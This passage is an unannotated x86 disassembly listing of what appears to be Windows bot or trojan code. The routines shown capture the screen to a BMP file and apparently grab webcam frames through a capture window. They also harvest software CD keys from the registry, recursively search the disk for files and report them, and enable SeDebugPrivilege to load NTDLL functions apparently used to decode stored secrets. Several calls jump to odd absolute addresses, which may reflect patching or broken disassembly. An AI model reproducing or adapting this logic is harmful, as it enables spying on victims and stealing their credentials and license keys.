		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_43ADDC
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4087D7
		push	eax
		push	[ebp+var_4]
		call	dword_43AC74
		cmp	eax, esi
		jz	loc_4087D7
		cmp	eax, 0FFFFFFFFh
		jz	loc_4087D7
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_43ADE0
		test	eax, eax
		jz	loc_4087D7
		cmp	ebx, esi
		jz	short loc_4086D4
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_43ACC8
		mov	ebx, eax


loc_4086D4:				; CODE XREF: sub_4085B3+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		nop
		call	near ptr 26707CBh
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4087B7
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		call	near ptr 2660000h
		nop
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		call	near ptr 2660000h
		nop
		cmp	ebx, esi
		jz	short loc_408799
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2660000h


loc_408799:				; CODE XREF: sub_4085B3+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		nop
		call	near ptr 2660000h
		push	[ebp+arg_0]
		call	near ptr 2651922h
		nop
		push	1
		pop	esi


loc_4087B7:				; CODE XREF: sub_4085B3+1A2j
		push	[ebp+var_1C]
		call	dword_43ACFC
		push	[ebp+var_4]
		call	dword_43AC60
		mov	edi, [ebp+var_20]


loc_4087CC:				; CODE XREF: sub_4085B3+70j
		push	edi
		call	dword_43AC60
		mov	eax, esi
		jmp	short loc_4087E9
; ---------------------------------------------------------------------------


loc_4087D7:				; CODE XREF: sub_4085B3+C7j
					; sub_4085B3+D9j ...
		push	edi
		call	dword_43AC60
		push	[ebp+var_4]
		call	dword_43AC60


loc_4087E7:				; CODE XREF: sub_4085B3+23j
		xor	eax, eax


loc_4087E9:				; CODE XREF: sub_4085B3+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4085B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4087EE	proc near		; CODE XREF: sub_40EE72+46EBp

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_439830
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_43ACF0
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_40882C
		mov	eax, esi
		jmp	loc_4089E2
; ---------------------------------------------------------------------------


loc_40882C:				; CODE XREF: sub_4087EE+35j
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408849
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_43ADF4
		jmp	short loc_40884B
; ---------------------------------------------------------------------------


loc_408849:				; CODE XREF: sub_4087EE+47j
		xor	eax, eax


loc_40884B:				; CODE XREF: sub_4087EE+59j
		cmp	eax, ebx
		jnz	short loc_408856


loc_40884F:				; CODE XREF: sub_4087EE+88j
					; sub_4087EE+BCj
		mov	ebx, esi
		jmp	loc_4089D7
; ---------------------------------------------------------------------------


loc_408856:				; CODE XREF: sub_4087EE+5Fj
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408873
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_43ADF4


loc_408873:				; CODE XREF: sub_4087EE+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_40884F
		push	edi
		call	dword_43AD38
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_408899
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_43ADF4
		mov	[ebp+arg_4], eax
		jmp	short loc_40889C
; ---------------------------------------------------------------------------


loc_408899:				; CODE XREF: sub_4087EE+98j
		mov	[ebp+arg_4], ebx


loc_40889C:				; CODE XREF: sub_4087EE+A9j
		push	[ebp+arg_4]
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_40884F
		push	[ebp+arg_4]
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4088C3
		push	1
		pop	ebx
		jmp	loc_4089D7
; ---------------------------------------------------------------------------


loc_4088C3:				; CODE XREF: sub_4087EE+CBj
		push	[ebp+var_4]
		call	dword_43AD38
		test	eax, eax
		jz	short loc_4088E0
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_43ADF4


loc_4088E0:				; CODE XREF: sub_4087EE+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_417390
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4088FB
		mov	ecx, 280h


loc_4088FB:				; CODE XREF: sub_4087EE+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_408907
		mov	eax, 1E0h


loc_408907:				; CODE XREF: sub_4087EE+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_43AD38
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_408951
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_43ADF4


loc_408951:				; CODE XREF: sub_4087EE+153j
		push	[ebp+var_4]
		call	dword_43AD38
		test	eax, eax
		jz	short loc_40896E
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_43ADF4


loc_40896E:				; CODE XREF: sub_4087EE+16Ej
		push	[ebp+var_4]
		call	dword_43AD38
		test	eax, eax
		jz	short loc_40898D
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_43ADF4


loc_40898D:				; CODE XREF: sub_4087EE+18Bj
		push	[ebp+var_4]
		call	dword_43AD38
		test	eax, eax
		jz	short loc_4089AA
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_43ADF4


loc_4089AA:				; CODE XREF: sub_4087EE+1AAj
		push	[ebp+var_8]
		call	sub_417C3B
		push	esi
		call	sub_417C3B
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43AD38
		test	eax, eax
		jz	short loc_4089D7
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_43ADF4


loc_4089D7:				; CODE XREF: sub_4087EE+63j
					; sub_4087EE+D0j ...
		push	[ebp+var_4]
		call	dword_43AE48
		mov	eax, ebx


loc_4089E2:				; CODE XREF: sub_4087EE+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4087EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4089E7	proc near		; CODE XREF: sub_40EE72+47A4p

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_439830
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_43ACF0
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_408A25
		mov	eax, esi
		jmp	loc_408C21
; ---------------------------------------------------------------------------


loc_408A25:				; CODE XREF: sub_4089E7+35j
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408A42
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_43ADF4
		jmp	short loc_408A44
; ---------------------------------------------------------------------------


loc_408A42:				; CODE XREF: sub_4089E7+47j
		xor	eax, eax


loc_408A44:				; CODE XREF: sub_4089E7+59j
		cmp	eax, ebx
		jnz	short loc_408A4F


loc_408A48:				; CODE XREF: sub_4089E7+8Bj
					; sub_4089E7+BCj
		mov	ebx, esi
		jmp	loc_408C18
; ---------------------------------------------------------------------------


loc_408A4F:				; CODE XREF: sub_4089E7+5Fj
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408A6F
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_43ADF4


loc_408A6F:				; CODE XREF: sub_4089E7+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_408A48
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408A92
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_43ADF4
		mov	[ebp+arg_4], eax
		jmp	short loc_408A95
; ---------------------------------------------------------------------------


loc_408A92:				; CODE XREF: sub_4089E7+96j
		mov	[ebp+arg_4], ebx


loc_408A95:				; CODE XREF: sub_4089E7+A9j
		push	[ebp+arg_4]
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_408A48
		push	[ebp+arg_4]
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_408ABC
		push	1
		pop	ebx
		jmp	loc_408C18
; ---------------------------------------------------------------------------


loc_408ABC:				; CODE XREF: sub_4089E7+CBj
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408AD9
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_43ADF4


loc_408AD9:				; CODE XREF: sub_4089E7+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_417390
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_408AF4
		mov	ecx, 0A0h


loc_408AF4:				; CODE XREF: sub_4089E7+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_408AFE
		push	78h
		pop	eax


loc_408AFE:				; CODE XREF: sub_4089E7+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408B43
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_43ADF4


loc_408B43:				; CODE XREF: sub_4089E7+14Aj
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408B60
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_43ADF4


loc_408B60:				; CODE XREF: sub_4089E7+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408B9E
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_43ADF4


loc_408B9E:				; CODE XREF: sub_4089E7+1A3j
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408BB9
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_43ADF4


loc_408BB9:				; CODE XREF: sub_4089E7+1C0j
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408BD2
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_43ADF4


loc_408BD2:				; CODE XREF: sub_4089E7+1DBj
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408BEF
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_43ADF4


loc_408BEF:				; CODE XREF: sub_4089E7+1F4j
		push	[ebp+var_4]
		call	sub_417C3B
		push	esi
		call	sub_417C3B
		pop	ecx
		pop	ecx
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408C18
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_43ADF4


loc_408C18:				; CODE XREF: sub_4089E7+63j
					; sub_4089E7+D0j ...
		push	edi
		call	dword_43AE48
		mov	eax, ebx


loc_408C21:				; CODE XREF: sub_4089E7+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4089E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408C26	proc near		; CODE XREF: sub_40EE72+588Bp

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_42B894, ebx
		mov	[ebp+var_C], 80h
		jz	loc_408DC7
		push	esi
		push	edi
		mov	eax, offset off_42B894
		mov	esi, offset dword_42B8A0
		mov	edi, offset aSCdKeyS_ ;	"%s CD Key: (%s)."


loc_408C56:				; CODE XREF: sub_408C26+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_43AE08
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_43ACA4
		test	eax, eax
		jnz	loc_408DAD
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_408D71
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_4179A8
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_408DAD
		push	eax


loc_408CCF:				; CODE XREF: sub_408C26+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41900C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_408D66
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408CFC
		push	[ebp+var_8]
		jmp	short loc_408CCF
; ---------------------------------------------------------------------------


loc_408CFC:				; CODE XREF: sub_408C26+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_418F50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408D2A
		lea	eax, [ebp+var_70]
		push	offset asc_42CA98 ; "="
		push	eax
		call	sub_418B6E
		push	offset asc_42CA98 ; "="
		push	ebx
		call	sub_418B6E
		add	esp, 10h
		jmp	short loc_408D2D
; ---------------------------------------------------------------------------


loc_408D2A:				; CODE XREF: sub_408C26+E4j
		lea	eax, [ebp+var_70]


loc_408D2D:				; CODE XREF: sub_408C26+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40BF6D
		add	esp, 18h


loc_408D66:				; CODE XREF: sub_408C26+B9j
		push	[ebp+var_8]
		call	sub_417900
		pop	ecx
		jmp	short loc_408DAD
; ---------------------------------------------------------------------------


loc_408D71:				; CODE XREF: sub_408C26+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40BF6D
		add	esp, 28h


loc_408DAD:				; CODE XREF: sub_408C26+60j
					; sub_408C26+A2j ...
		push	[ebp+var_4]
		call	dword_43AD74
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_408C56
		pop	edi
		pop	esi


loc_408DC7:				; CODE XREF: sub_408C26+19j
		pop	ebx
		leave
		retn
sub_408C26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408DCA	proc near		; DATA XREF: sub_40EE72+3D60o

var_49C		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= byte ptr -218h
var_115		= byte ptr -115h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_417AB0
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_408E1F
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_417AB0
		pop	ecx
		mov	[ebp+eax+var_115], bl


loc_408E1F:				; CODE XREF: sub_408DCA+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset unk_42CAEC
		lea	eax, [ebp+var_49C]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_408E64
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_40D679
		add	esp, 14h


loc_408E64:				; CODE XREF: sub_408DCA+78j
		lea	eax, [ebp+var_114]
		push	ebx
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_29C]
		call	sub_408EE5
		add	esp, 18h
		push	eax
		lea	eax, [ebp+var_49C]
		push	offset unk_42CABC
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_408EC5
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_40D679
		add	esp, 14h


loc_408EC5:				; CODE XREF: sub_408DCA+D9j
		lea	eax, [ebp+var_49C]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 26302E2h
		pop	edi
		pop	esi
		pop	ebx
sub_408DCA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408EE5	proc near		; CODE XREF: sub_408DCA+B9p
					; sub_408EE5+9Ep

var_54C		= byte ptr -54Ch
var_34C		= byte ptr -34Ch
var_248		= byte ptr -248h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+var_248]
		push	offset aS_3	; "%s\\*"
		push	esi
		push	eax
		call	sub_41782A
		mov	edi, dword_4240BC
		add	esp, 10h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		mov	ebx, offset aSS_3 ; "%s\\%s"
		jz	short loc_408FA2


loc_408F31:				; CODE XREF: sub_408EE5+BBj
		test	[ebp+var_144], 10h
		jz	short loc_408F8E
		cmp	[ebp+var_118], 2Eh
		jnz	short loc_408F55
		cmp	[ebp+var_117], 0
		jz	short loc_408F8E
		cmp	[ebp+var_117], 2Eh
		jz	short loc_408F8E


loc_408F55:				; CODE XREF: sub_408EE5+5Cj
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_34C]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41782A
		push	[ebp+arg_14]
		lea	eax, [ebp+var_34C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EE5
		add	esp, 2Ch
		mov	[ebp+arg_14], eax


loc_408F8E:				; CODE XREF: sub_408EE5+53j
					; sub_408EE5+65j ...
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+var_4]
		nop
		call	near ptr 26D0000h
		test	eax, eax
		jnz	short loc_408F31


loc_408FA2:				; CODE XREF: sub_408EE5+4Aj
		push	[ebp+var_4]
		call	near ptr 26B03F3h
		nop
		push	[ebp+arg_C]
		lea	eax, [ebp+var_248]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_409028


loc_408FD9:				; CODE XREF: sub_408EE5+141j
		lea	eax, [ebp+var_118]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_10]
		push	offset aFoundSS	; " Found: %s\\%s"
		push	200h
		push	eax
		call	sub_41782A
		push	1
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 28h
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		call	near ptr 26D0000h
		nop
		test	eax, eax
		jnz	short loc_408FD9


loc_409028:				; CODE XREF: sub_408EE5+F2j
		push	esi
		call	near ptr 26B03F3h
		nop
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408EE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409037	proc near		; DATA XREF: sub_40EE72+5237o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_40B78A
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_409076
		cmp	eax, 2
		jz	short loc_409076
		push	offset unk_42CD60
		jmp	loc_4091B5
; ---------------------------------------------------------------------------


loc_409076:				; CODE XREF: sub_409037+2Ej
					; sub_409037+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091B0
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 2710771h
		mov	esi, dword_4240DC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_43AA44, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_43AA38, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_43AC48, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_43AA40, eax
		call	esi
		mov	dword_43AA3C, eax
		call	sub_409209
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_409183
		mov	esi, dword_4240D8
		mov	edi, 400h
		mov	ebx, offset dword_439A38
		push	edi
		push	ebx
		push	offset off_42CC9C
		call	esi
		push	edi
		mov	edi, offset dword_43A238
		push	edi
		push	offset off_42CC84
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_43AC50
		push	[ebp+arg_0]
		jnz	short loc_40912F
		call	sub_409392
		jmp	short loc_409134
; ---------------------------------------------------------------------------


loc_40912F:				; CODE XREF: sub_409037+EFj
		call	sub_409539


loc_409134:				; CODE XREF: sub_409037+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40917C
		cmp	dword_43AC50, 0
		jnz	short loc_409163
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_42CC0C
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 18h
		jmp	short loc_409196
; ---------------------------------------------------------------------------


loc_409163:				; CODE XREF: sub_409037+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_409173
		call	sub_40966F
		jmp	short loc_409178
; ---------------------------------------------------------------------------


loc_409173:				; CODE XREF: sub_409037+133j
		call	sub_409706


loc_409178:				; CODE XREF: sub_409037+13Aj
		pop	ecx
		push	eax
		jmp	short loc_409188
; ---------------------------------------------------------------------------


loc_40917C:				; CODE XREF: sub_409037+101j
		push	offset unk_42CBC4
		jmp	short loc_409188
; ---------------------------------------------------------------------------


loc_409183:				; CODE XREF: sub_409037+B6j
		push	offset unk_42CB80


loc_409188:				; CODE XREF: sub_409037+143j
					; sub_409037+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_409196:				; CODE XREF: sub_409037+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511F
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	near ptr 270064Dh
		nop
		pop	ebx
		jmp	short loc_4091C3
; ---------------------------------------------------------------------------


loc_4091B0:				; CODE XREF: sub_409037+4Ej
		push	offset unk_42CB3C


loc_4091B5:				; CODE XREF: sub_409037+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_4091C3:				; CODE XREF: sub_409037+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4091EA
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_40D679
